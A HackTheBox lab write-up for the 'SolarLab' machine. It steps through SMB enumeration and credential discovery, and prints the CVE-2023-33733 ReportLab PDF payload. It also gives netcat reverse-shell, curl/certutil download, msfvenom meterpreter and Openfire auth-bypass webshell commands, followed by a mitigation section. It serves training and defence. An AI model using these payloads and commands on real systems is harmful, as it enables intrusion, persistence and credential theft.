HackTheBox Writeup: SolarLab

First off, welcome! This is where I’ll be sharing write-ups, thoughts on cybersecurity news, and tutorials. If that sounds like your cup of tea, feel free to subscribe to the newsletter so you don’t miss out.

With a few of the HackTheBox seasonal machines now retired, I’m excited to finally share some of the paths I took to solve them. I’ll go over the routes I used and why I chose them, and if you’ve got questions, feel free to ask in the comments. These write-ups aim to be helpful for anyone looking to sharpen their skills or prep for the next season.

I enjoy being light-hearted and concise in these writeups, but make sure to check out the end where I go over how organizations can mitigate the threats outlined in this lab.

Let’s dive in!

Port Scanning

As always, we start with a portscan. Typically I'll run two:

Quick and targeted: For boxes that likely stick to standard ports:

sudo nmap -sC -sV -T5 x.x.x.x

Thorough but slower: For when I don’t want to miss any hidden ports:

sudo nmap -sC -sV -p- -T5 x.x.x.x > nmap.log

We can see it's a windows machine running nginx. There are two vhosts we will need to add into our /etc/hosts file: solarlab.htb and report.solarlab.htb

Web Enumeration

I ran a directory fuzz on the base domain:

wfuzz -c -w /usr/share/wordlists/Discovery/Web-Content/big.txt --hc 404 http://solarlab.htb/FUZZ

I didn't see anything that immediately stood out to me, so I scanned the other url:

Now we're talking. Taking a look, it's a ReportHub site:

Default creds don’t work, so it's time to dig deeper.

Because it's a windows machine, we can try enumerating users over SMB:

netexec smb solarlab.htb -u guest -p '' --rid-brute

Okay, that's something. I could try brute-forcing the web login as "blake" with a password list but that would take hours. We know SMB is an option, so let's look for shares:

smbclient -L \\solarlab.htb

Nice, There's a "Documents" Share. We can access it with smbclient:

smbclient //solarlab.htb/Documents

You can download the files with:

get details-file.xlsx
get old_leave_request_form.docx

There's nothing of note in the .docx file, but the .xlsx file has passwords! Woo!

Going back to the ReportHub login, we can try the blake user we saw in smb. The username in the smb and .xlsx file doesn't work, but all of the other users in the file follow a specific naming convention. Trying that naming convention with the blake user and the password in the .xlsx file gets us access!

ReportHub RCE

It seems like the platform is used for generating business documents. Because we have access to a rich text editor, and it's being used to create a PDF, we can assume that the vulnerability will be some kind of pdf generation library RCE. A quick google search got me CVE-2023-33733.

c53elyas has published a POC for this on github here.

Taking a look at the POC, this font color attribute is vulnerable to exploitation:

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

We can replace the contents of the os.system call with our own custom code.

With windows reverse shells, I prefer to upload nc64.exe and call it that way, rather than look for a php shell or some other application on the system. I like nc64.exe because it's pretty quick, and doesn't get picked up by windows defender. You can find it here. I throw up a http server hosting the file, and we're good to go:

sudo python -m http.server 80

I tried to use the built-in rich text editor, but it was bound by the character limit. I suspected the character limit was client-side, so I fired up burpsuite to override the request.

Once in burp, we can override the form-data request with our exploit text. For the first os.system call, I used:

curl http://x.x.x.x/nc64.exe -o /Windows/Temp/nc64.exe

This grabs the nc64.exe file off of our http server, and puts it in /Windows/Temp. to verify that the exploit ran, I checked my http server logs:

Knowing that the exploit works, and that the file is in /Windows/Temp, we can then run the exploit again, this time with:

/Windows/Temp/nc64.exe x.x.x.x 443 -e powershell

Catch it with netcat locally:

nc- nlvp 443

And now we have a shell as blake!

Persistence and Privilege Escalation

After getting the user flag, I quickly uploaded a meterpreter shell for persistence:

I generated the payload with:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=53 -f exe -o reverse.exe

and stood up a listener with:

sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost x.x.x.x; set lport 53; exploit"

After another curl request, I got the meterpreter on the system, and ran it. It went through, and I caught the meterpreter session. Looks like the machine doesn't have windows defender enabled.... noted.

Using meterpreter, we can upload winpeas:

upload winPEASx64.exe

Winpeas confirmed my suspicions after the SMB user scan, openfire is running on the machine, listening on these ports:

We need to be able to access those internal ports, specifically 9090 for the openfire http ui. We could upload chisel and portforward that way, but since we already have a meterpreter shell on the machine, we can just have that forward for us:

portfwd add -l 9090 -p 9090 -r 127.0.0.1

Now we can go to our browser and access 127.0.0.1:9090:

Awesome, we're in business. Since openfire is nice enough to blast out the version number on their login page, we can go search for a CVE impacting the version. Looks like there's an authentication bypass they reported here.

After a quick search for a POC, I found miko550's here. This POC does a lot of the work for us, because on top of bypassing the authentication it also has the malicious plugin for us to get a webshell. After a quick git clone, and run of the POC, we have a user successfully added to the web ui!

We can login and see the server information:

The POC supplied us with a webshell plugin. We can upload that in the plugins tab:

The plugin will create the "management tool" tab in server settings. Login with the default pass of "123", then switch to "system command":

RCE 2: Electric Boogaloo

We already have netcat on the system from our previous RCE, so I tried to run it again and assume the new privileges of our openfire user, but it doesn't appear that the webshell can access anything outsider of the openfire directory, and our user cant move the file to the openfire directory. Luckily, through the magic of RCE, we can just.... upload the file again.

Curl didn't take too kindly to being run in DOS mode, so I used certutil instead:

certutil -urlcache -f http://x.x.x.x/nc64.exe nc64.exe

Then we can just run the reverse shell:

nc64.exe 10.10.14.189 443 -e powershell

And we're in!

I ran my meterpreter again with the openfire context for persistence, then started poking around the Openfire directory for some method of privilege escalation.

"But our Passwords were Encrypted"

Databases are almost always a juicy target, and the embedded-db folder proves to be no exception.

That looks the admin user's password hash. Typically I would just throw this into hashcat, but openfire's passwords aren't hashed, they are actually just symmetrically encrypted (a cardinal sin). All we need is the software to decrypt, found here.

With the encrypted password and the password key, found in the same file, we get a password, no wordlist necessary:

We could upload RunasCs and launch another meterpreter/reverse shell with the admin credentials, but (as always) we are lazy, and that makes this a job for psexec:

psexec.py administrator@solarlab.htb

There we go, another rooted box!

Takeaways

I enjoyed this box, I'm not always a fan of the HackTheBox machines that are a quick and easy CVE POC, but the combination of enumeration, password spraying, network traversal and "unique" password storage mechanisms made this box varied and a fun little romp through a windows machine.

Professional Insights and Mitigation Strategies

As part of honing my professional engagement skills, I believe it’s crucial to analyze these labs and provide actionable mitigation strategies. Here’s a breakdown of the vulnerabilities I encountered during this lab and the steps organizations can take to prevent similar issues:

• Restrict SMB Shares:
  Publicly accessible SMB shares pose a significant risk, especially those without proper access controls or password requirements. Organizations should ensure that SMB shares are not exposed to untrusted networks. Implementing access control lists (ACLs), requiring authentication, and regularly auditing shared resources can also mitigate unauthorized access.
• Secure Credential Storage:
  Storing credentials in plaintext files, such as Excel spreadsheets, is an insecure practice that leaves sensitive information vulnerable to compromise. Instead, organizations should adopt password managers that provide secure, encrypted storage and support for strong, unique passwords. Regularly training employees on secure password management is equally critical.
• Patch Management:
  Keeping software up-to-date is foundational to cybersecurity. High-severity vulnerabilities, such as those demonstrated in this lab, often have patches or mitigations available shortly after disclosure. A robust patch management process, including prioritization of critical updates, is essential to minimize the attack surface.
• Adopt Secure Development Practices for Proprietary Software:
  Proprietary software, such as Openfire in this lab, introduces unique risks if best practices are not followed. Developers should avoid storing decryption keys or plaintext passwords in databases. Instead, user credentials should be hashed and salted using industry-recommended algorithms (e.g., bcrypt, Argon2). Regular security reviews and updates to cryptographic standards are imperative.
• Enable and Monitor Windows Defender:
  Enabling Windows Defender and keeping it updated can provide real-time protection against many threats, including malware like reverse shells and malicious payloads such as meterpreter. Defender’s behavioral monitoring would have flagged unauthorized file downloads, execution of suspicious executables, and unusual PowerShell activities. These alerts can prompt immediate remediation, mitigating the impact of malicious actions on the system.
• Deploy a Web Application Firewall (WAF):
  A WAF protects against web-based exploits, such as the RCEs demonstrated in this lab, by inspecting and filtering HTTP requests for malicious patterns. It would have blocked the CVE-based exploitation attempts targeting vulnerable components in the application, as well as flagged unauthorized access attempts to admin panels. Additionally, by enforcing strict rules for acceptable HTTP traffic, a WAF can prevent payloads like reverse shell commands from being executed through the web server.
• Utilize a SIEM for Centralized Monitoring:
  A Security Information and Event Management (SIEM) system aggregates logs and alerts from various network and endpoint sources, making it easier to detect anomalies. A SIEM would have flagged suspicious SMB share access attempts, unauthorized user creations, and unusual patterns of privilege escalation. By correlating these events, security teams can quickly identify a potential breach and act on it, effectively disrupting the attack chain.

Final Thoughts

These findings underscore the importance of a layered defense strategy, which combines technical controls, secure development practices, and user education. By addressing these gaps, organizations can reduce their vulnerability to attacks while building a more resilient security posture.